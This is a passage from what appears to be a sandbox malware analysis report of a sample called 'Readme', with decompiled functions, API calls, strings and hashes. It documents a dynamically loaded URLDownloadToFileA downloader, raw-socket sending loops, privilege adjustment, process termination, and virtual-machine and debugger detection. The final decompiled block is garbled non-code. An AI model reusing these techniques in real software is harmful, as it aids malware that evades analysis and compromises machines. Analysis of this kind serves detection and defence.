				intOrPtr _v88;
				int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				int _v112;
				char* _v116;
				char* _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				char* _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v168;
				intOrPtr _v172;
				int _t54;
				long* _t57;
				int _t60;
				intOrPtr _t76;
				int _t79;
				signed int _t82;
				void* _t83;
				intOrPtr* _t86;
				void* _t88;
				void* _t89;
				intOrPtr* _t90;
				intOrPtr* _t93;

				_t76 = _a12;
				asm("cld");
				memset( &_v28, 0, 4 << 2);
				_v60 = 0;
				_v64 = 1;
				_v68 = 0;
				_v72 = 0;
				_t54 = CryptAcquireContextA( &_v32);
				_t86 = _t83 - 0x40 + 0xc - 0x14;
				_t79 = 0;
				if(_t54 != 0) {
					_v76 =  &_v36;
					_v80 = 0;
					_v84 = 0;
					_v88 = 0x8003;
					_t57 = _v32;
					 *_t86 = _t57;
					L0040C4B0();
					_t88 = _t86 - 0x14;
					_t79 = 0;
					if(_t57 != 0) {
						_v100 = 0;
						_v104 = _a8;
						_v108 = _a4;
						_t60 = _v36;
						_v112 = _t60;
						L0040C4B8();
						_t89 = _t88 - 0x10;
						if(_t60 != 0) {
							_v40 = 4;
							_v112 = 0;
							_v116 =  &_v40;
							_v120 =  &_v44;
							_v124 = 4;
							_v128 = _v36;
							L0040C4D0();
							_t90 = _t89 - 0x14;
							_v132 = 0;
							_v136 =  &_v44;
							_v140 =  &_v28;
							_v144 = 2;
							 *_t90 = _v36;
							L0040C4D0();
							_v168 = _v36;
							L0040C4C0();
							_v168 = 0;
							CryptReleaseContext(_v32);
							_t93 = _t90 - 8;
							_t82 = 0;
							if(0 < _v44) {
								do {
									_v168 =  *( &_v28 + _t82) & 0x000000ff;
									_v172 = "%2.2x";
									 *_t93 = _t76 + _t82 * 2;
									sprintf(??, ??);
									_t82 = _t82 + 1;
								} while (_t82 < _v44);
							}
							_t79 = 1;
						} else {
							_v128 = _v36;
							L0040C4C0();
							_v128 = 0;
							CryptReleaseContext(_v32);
							_t79 = 0;
						}
					}
				}
				return _t79;
			}

0x00404484
0x0040448a
0x00404495
0x00404497
0x0040449f
0x004044a7
0x004044af
0x004044bd
0x004044c2
0x004044c5
0x004044cc
0x004044d5
0x004044d9
0x004044e1
0x004044e9
0x004044f1
0x004044f4
0x004044f7
0x004044fc
0x004044ff
0x00404506
0x0040450c
0x00404517
0x0040451e
0x00404522
0x00404525
0x00404528
0x0040452d
0x00404532
0x00404562
0x00404569
0x00404574
0x0040457b
0x0040457f
0x0040458a
0x0040458d
0x00404592
0x00404595
0x004045a0
0x004045a7
0x004045ab
0x004045b6
0x004045b9
0x004045c4
0x004045c7
0x004045cf
0x004045dd
0x004045e2
0x004045e5
0x004045ed
0x004045ef
0x004045f4
0x004045f8
0x00404603
0x00404606
0x0040460b
0x0040460c
0x004045ef
0x00404611
0x00404534
0x00404537
0x0040453a
0x00404542
0x00404550
0x00404558
0x00404558
0x00404532
0x00404506
0x0040461e

APIs

CryptAcquireContextA.ADVAPI32 ref: 004044BD
CryptCreateHash.ADVAPI32 ref: 004044F7
CryptHashData.ADVAPI32 ref: 00404528
CryptDestroyHash.ADVAPI32 ref: 0040453A
CryptReleaseContext.ADVAPI32 ref: 00404550
CryptGetHashParam.ADVAPI32 ref: 0040458D
CryptGetHashParam.ADVAPI32 ref: 004045B9
CryptDestroyHash.ADVAPI32 ref: 004045C7
CryptReleaseContext.ADVAPI32 ref: 004045DD
sprintf.MSVCRT ref: 00404606

Strings

%2.2x, xrefs: 004045F8

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Crypt$Hash$Context$DestroyParamRelease$AcquireCreateDatasprintf
String ID: %2.2x
API String ID: 3563044075-341615062
Opcode ID: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction ID: 71e90cb579b3012189f1bc8fcce2ad08a11f5a443b18af0431ecfa41047fce4e
Opcode Fuzzy Hash: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction Fuzzy Hash: 6A41A6B5904309DBDB00EF69C58579EBBF4BB84314F00892EE984A7381E779D548CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406BEA Relevance: 18.1, APIs: 12, Instructions: 148memorysleepnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00406C3F
WSASocketA.WS2_32 ref: 00406C79
setsockopt.WS2_32 ref: 00406CB7
GetProcessHeap.KERNEL32 ref: 00406CD0
RtlAllocateHeap.NTDLL ref: 00406CE8
memset.MSVCRT ref: 00406D1E
GetCurrentProcessId.KERNEL32 ref: 00406D2B
GetTickCount.KERNEL32 ref: 00406D52
Sleep.KERNEL32 ref: 00406D8E
GetTickCount.KERNEL32 ref: 00406DA3
sendto.WS2_32 ref: 00406DEF
Sleep.KERNEL32 ref: 00406E06

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CountHeapProcessSleepTick$AllocateCurrentSocketinet_addrmemsetsendtosetsockopt
String ID:
API String ID: 3025670439-0
Opcode ID: 80d924af3c741b2fe8bc6792d036a4a53eb01d27bfc2d5dfb458dfe8975752fb
Instruction ID: c887a22924d357f2cc4e5641eb84b294b57a756f528ba2f64bcdc76ce2e57ac6
Opcode Fuzzy Hash: 80d924af3c741b2fe8bc6792d036a4a53eb01d27bfc2d5dfb458dfe8975752fb
Instruction Fuzzy Hash: EB5129B09043459BD700EFA8C18439EFBF1BF84314F108A3EE499AB785D7789459CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00407C4E Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 196timethreadCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00407E14
CreateThread.KERNEL32 ref: 00408044

Strings

p515p225982son69p76q604qp7s97975, xrefs: 00407CB4
(ohcx%gmlvl#b|d}m8e|k, xrefs: 00407DEE
command, xrefs: 00407FE5
2317q129n58non7o3148por15qs741r3, xrefs: 00407CC7
4upyl?idzyt9z~`n%|e~, xrefs: 00407D50
2wrwb=xfpav'g{sm#~gp, xrefs: 00407D04

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CreateLocalThreadTime
String ID: (ohcx%gmlvl#b|d}m8e|k$2317q129n58non7o3148por15qs741r3$2wrwb=xfpav'g{sm#~gp$4upyl?idzyt9z~`n%|e~$command$p515p225982son69p76q604qp7s97975
API String ID: 3972831565-1317110218
Opcode ID: 5db106fd8fe89164a4683074e62a5a21e238b2b61434d77a43c37ac808585bb6
Instruction ID: 80463a4929d65f88bb62c6d7506587d1b44305c3c58205fc38c9e757c491522e
Opcode Fuzzy Hash: 5db106fd8fe89164a4683074e62a5a21e238b2b61434d77a43c37ac808585bb6
Instruction Fuzzy Hash: F8A1F2B08083199ADB10DF55C5453DEBBF0BB94304F5089AED588A7381D7B89AC9CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00406E1C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58librarysleepfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00406E5C
GetProcAddress.KERNEL32 ref: 00406E79
FreeLibrary.KERNEL32 ref: 00406E8D
DeleteFileA.KERNEL32 ref: 00406EBD
Sleep.KERNEL32 ref: 00406F01

Strings

urlmon.dll, xrefs: 00406E55
URLDownloadToFileA, xrefs: 00406E6E
donzx.dll, xrefs: 00406E9C

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Library$AddressDeleteFileFreeLoadProcSleep
String ID: URLDownloadToFileA$donzx.dll$urlmon.dll
API String ID: 1591209584-4102153241
Opcode ID: 822e4242d846e3181e51de55bcfb4708a5aec733e92b39760985a308414817cb
Instruction ID: 543b2787c70849a237c7d5d5e8862ee058c6e2dedd7614c5b7d168295bf2944d
Opcode Fuzzy Hash: 822e4242d846e3181e51de55bcfb4708a5aec733e92b39760985a308414817cb
Instruction Fuzzy Hash: 1C21FCB09043459BD700EF39D58579ABBF0BB48304F108A7EE98997341E778D998CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405256 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 44COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00405272

Strings

fWinS, xrefs: 00405301
fVISta, xrefs: 004052EA
f2003, xrefs: 004052D3
f2000, xrefs: 004052A5
Unk, xrefs: 0040530F
fXp, xrefs: 004052BC

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Version
String ID: Unk$f2000$f2003$fVISta$fWinS$fXp
API String ID: 1889659487-2404033052
Opcode ID: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction ID: e8bb7547553301c142e519b247f3baff17d1b23cd464d4725f64abea95698485
Opcode Fuzzy Hash: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction Fuzzy Hash: DD118334A11718CACF34AA18891939B72B0EB93349F4441FBD88979690C3B98DC9CE1B

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00404DFA
OpenProcessToken.ADVAPI32 ref: 00404E11
LookupPrivilegeValueA.ADVAPI32 ref: 00404E36
AdjustTokenPrivileges.ADVAPI32 ref: 00404E89
CloseHandle.KERNEL32 ref: 00404E9E

Strings

(, xrefs: 00404E06

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: (
API String ID: 3038321057-3887548279
Opcode ID: f7190b97f58be1d9d2939eabb058490fe92538849b0e57194ebfcb8a28136c74
Instruction ID: 79319732bb30defa6c9a9f1a6b789a97df9146ac2c859e5e9c71adcb6af8603d
Opcode Fuzzy Hash: f7190b97f58be1d9d2939eabb058490fe92538849b0e57194ebfcb8a28136c74
Instruction Fuzzy Hash: 21119BB4904305DBDB00EF69C18579EBBF4BF44348F00892EE884A7385E779D549CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404D3A Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00404D58
Process32First.KERNEL32 ref: 00404D79
strcmp.MSVCRT ref: 00404D92
OpenProcess.KERNEL32 ref: 00404DB4
TerminateProcess.KERNEL32 ref: 00404DCB
Process32Next.KERNEL32 ref: 00404DE0

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32strcmp
String ID:
API String ID: 3031566330-0
Opcode ID: 2f2f5fe6758f399921e03acf2909baea6f39b8887e69680e0eb8b402d680a7dd
Instruction ID: 382b25c2ad7d0cef6f391bcc669a6196322adae5fe9b19759f67a92d9b3667d2
Opcode Fuzzy Hash: 2f2f5fe6758f399921e03acf2909baea6f39b8887e69680e0eb8b402d680a7dd
Instruction Fuzzy Hash: 4E1133B18043049AD710BF35D98539EBBF8AF84754F00857EED88A3281E7789958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004060AA Relevance: 7.6, APIs: 5, Instructions: 70memorystringnetworkCOMMON

Download Yara Rule

APIs

DnsQuery_A.DNSAPI ref: 004060E7
GetProcessHeap.KERNEL32 ref: 0040610A
RtlAllocateHeap.NTDLL ref: 00406122
lstrcpy.KERNEL32 ref: 00406144

Part of subcall function 004013D8: HeapFree.KERNEL32 ref: 00401410

GlobalFree.KERNEL32 ref: 00406182

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Heap$Free$AllocateGlobalProcessQuery_lstrcpy
String ID:
API String ID: 335828720-0
Opcode ID: a388a33b90b2a7703f34e2c123a8a93f25413c95038993b571ca2cebfb53ee2e
Instruction ID: 11d18a1c71fde03939184ec7a539e433b17fdc1711bb96236e21141529c11046
Opcode Fuzzy Hash: a388a33b90b2a7703f34e2c123a8a93f25413c95038993b571ca2cebfb53ee2e
Instruction Fuzzy Hash: 5F2148B09043019BDB00EF65C58476BBBF4BF44354F10893EE894AB382E778D958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404990 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 004049C7

Strings

virtual, xrefs: 0040499B
vmware, xrefs: 004049A2
vbox, xrefs: 004049B0
qemu, xrefs: 004049A9

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: strstr
String ID: qemu$vbox$virtual$vmware
API String ID: 1392478783-2646423876
Opcode ID: c9d4e4dd12de4e295f14a9e62fd40bc20da4a6d1a2aa3fdf2bcdf6fb4d7785e8
Instruction ID: b540962fa618101e36228a8a74583da539d79dad1ba2731ad5b1d3bf9ece319c
Opcode Fuzzy Hash: c9d4e4dd12de4e295f14a9e62fd40bc20da4a6d1a2aa3fdf2bcdf6fb4d7785e8
Instruction Fuzzy Hash: 3DF0A7F4800208CBDB109FA5D8813AF7BA8EB04718F10407ADA54BF7C0D3799D8487D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040814C Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,004083E1), ref: 00408158

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 45992fab59b789b714cf92c72d24a5becac00f776ba7134a840b1a6c57edf9ba
Instruction ID: 62397ccbaa835f3c60518c82b9829302d3b4a44d16c6782a7ba501dc9b29137d
Opcode Fuzzy Hash: 45992fab59b789b714cf92c72d24a5becac00f776ba7134a840b1a6c57edf9ba
Instruction Fuzzy Hash: 58014C60D0452D89DB10EFAEC5451BEB7F2EF48700F408126E890BA288E67C998AD355

Uniqueness

Uniqueness Score: -1.00%

Function 00404AB8 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404AB8() {
				signed char _t3;

				_t3 = 0;
				if(IsDebuggerPresent() != 0) {
					_t3 = 1;
				}
				return _t3 & 0x000000ff;
			}

0x00404abf
0x00404ac8
0x00404aca
0x00404aca
0x00404ad4

APIs

IsDebuggerPresent.KERNEL32(004040B2), ref: 00404AC1

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: DebuggerPresent
String ID:
API String ID: 1347740429-0
Opcode ID: e7a5aad3decc5595e0085427251ddfb25943da0c25b2f4dd4e54ea83f630c786
Instruction ID: ae9a913412494098cb72223140141d55c0ad5dcb9cb6441feee08d4656a6771e
Opcode Fuzzy Hash: e7a5aad3decc5595e0085427251ddfb25943da0c25b2f4dd4e54ea83f630c786
Instruction Fuzzy Hash: ACC09BE16D52191D790031A73D43463775C446127AB0C1237ED4D593C1E41FF52851BF

Uniqueness

Uniqueness Score: -1.00%

Function 1000A000 Relevance: .8, Instructions: 811
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E1000A000() {
				signed int* _t108;
				intOrPtr* _t121;
				intOrPtr* _t122;
				intOrPtr* _t123;
				signed char _t124;
				intOrPtr* _t126;
				intOrPtr* _t127;
				signed char _t128;
				intOrPtr* _t129;
				signed int* _t133;
				signed char* _t134;
				signed char _t136;
				signed int _t139;
				signed int _t140;
				signed char _t142;
				signed char _t143;
				signed char _t144;
				signed char _t146;
				void* _t147;
				signed char _t148;
				signed int _t149;
				signed int* _t150;
				signed int _t151;
				unsigned char* _t152;
				signed int _t153;
				signed int _t155;
				void* _t156;
				signed int _t163;
				signed int* _t164;
				signed int* _t165;
				signed int* _t168;
				signed int* _t169;
				signed int* _t171;
				signed int _t172;
				signed int* _t176;
				signed int _t177;
				signed int* _t178;
				signed int* _t179;
				signed int* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				void* _t191;
				signed int _t192;
				signed int _t193;
				intOrPtr _t195;
				void* _t196;
				intOrPtr _t200;
				signed int* _t201;
				signed int* _t202;
				intOrPtr _t204;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t211;
				intOrPtr _t218;
				intOrPtr _t220;
				void* _t223;
				signed int _t225;
				void* _t226;
				signed char _t228;
				intOrPtr _t230;
				intOrPtr _t231;
				intOrPtr _t234;
				void* _t250;
				signed long long _t260;

				_t107 = 0;
				 *0 =  *0;
				 *_t134 =  *_t134 << 1;
				 *_t134 =  *_t134;
				_t136 =  &(_t134[2]);
				if(_t136 == 0) {
					L17:
					if(_t168 == 0) {
						L38:
						asm("arpl [gs:edi+ebp*2+0x72], si");
						if(_t177 >= 0) {
							L53:
							asm("popad");
							asm("insb");
							_t151 = _t151 + 1;
							_t186 = _t151;
							L54:
							if(_t186 < 0) {
								asm("gs outsb");
								_t136 = _t136 + 1;
								 *_t107 =  *_t107 + _t107;
								_t153 = 0xb4000000;
								if ( *_t107 >= 0) goto L82;
								 *_t136 =  *_t136 + _t107;
								_push(_t148);
								asm("a16 inc ebx");
								asm("insb");
								asm("outsd");
								if( *_t136 >= 0) {
									L113:
									_pop(_t150);
									L114:
									_t153 = _t150[0x18] * 0x62610100;
									_t211 = _t153;
									asm("outsd");
									if(_t211 < 0) {
										if(_t226 == 0) {
											L160:
											if(_t234 >= 0) {
												L177:
												_t107 = _t107 ^ _t148;
												 *(_t148 + 0x10) =  *(_t148 + 0x10) ^ _t107;
												asm("adc ebx, [ebp+0x3636361f]");
												ds = ss;
												 *[ss:eax] =  *[ss:eax] - _t136;
												L179:
												 *[ss:eax] =  *[ss:eax] - _t136;
												 *_t107 =  *_t107 - _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												asm("adc [0xa1b190b], ecx");
												asm("adc [ebx], ecx");
												asm("sbb [0x1206180b], edx");
												asm("das");
												asm("aaa");
												asm("adc al, 0x5");
												_push(cs);
												asm("das");
												asm("sbb [ecx], bl");
												_push(ss);
												_push(ss);
												asm("invd");
												 *_t107 =  *_t107 | _t136;
												asm("wbinvd");
												 *_t133 =  *_t133 | _t148;
												_t108 = _t107 + 0xb0b0b2b;
												_t139 = _t136 |  *0xc050c41 |  *_t133 |  *_t108;
												_t149 = _t148 |  *_t133;
												 *_t133 =  *_t133 & _t149;
												 *_t108 =  *_t108 | _t139;
												_t152 = _t151 - 1;
												asm("adc [edi], bl");
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												asm("sbb dh, al");
												_t121 =  &(_t108[0xe]);
												 *((intOrPtr*)(_t121 + 0x45)) =  *((intOrPtr*)(_t121 + 0x45)) + _t149;
												 *_t121 =  *_t121 + _t121;
												_t156 = _t155 - 1;
												 *_t150 =  *_t150 + _t121;
												_t133[0x12fd3f] = _t133 + _t133[0x12fd3f];
												 *_t121 =  *_t121 + _t121;
												 *_t121 =  *_t121 + _t121;
												 *_t121 =  *_t121 + _t121;
												_t122 = _t121 + _t121;
												 *_t152 =  *_t152 + _t139;
												_t140 = _t139 &  *_t133;
												 *_t149 =  *_t149 + _t122;
												 *_t122 =  *_t122 - _t122;
												 *_t122 =  *_t122 + _t122;
												 *_t122 =  *_t122 + _t122;
												_t123 = _t122 +  *_t122;
												 *((intOrPtr*)(_t123 + 0x10)) =  *((intOrPtr*)(_t123 + 0x10)) + _t123;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t149;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t123;
												asm("adc [eax], al");
												asm("adc [eax], al");
												 *_t123 =  *_t123 + _t123;
												_t124 = _t123 +  *_t123;
												 *((intOrPtr*)(_t124 + _t124)) =  *((intOrPtr*)(_t124 + _t124)) + _t124;
												 *_t124 =  *_t124 + _t124;
												 *_t124 =  *_t124 + _t124;
												 *_t124 =  *_t124 + _t124;
												_t125 = _t124;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + 0x4000000)) =  *((intOrPtr*)(_t125 + 0x4000000)) + _t125;
												 *_t125 =  *_t125 + _t125;
												asm("pcmpeqd mm0, [eax]");
												 *_t133 =  *_t133 + _t125;
												 *_t125 =  *_t125 + _t125;
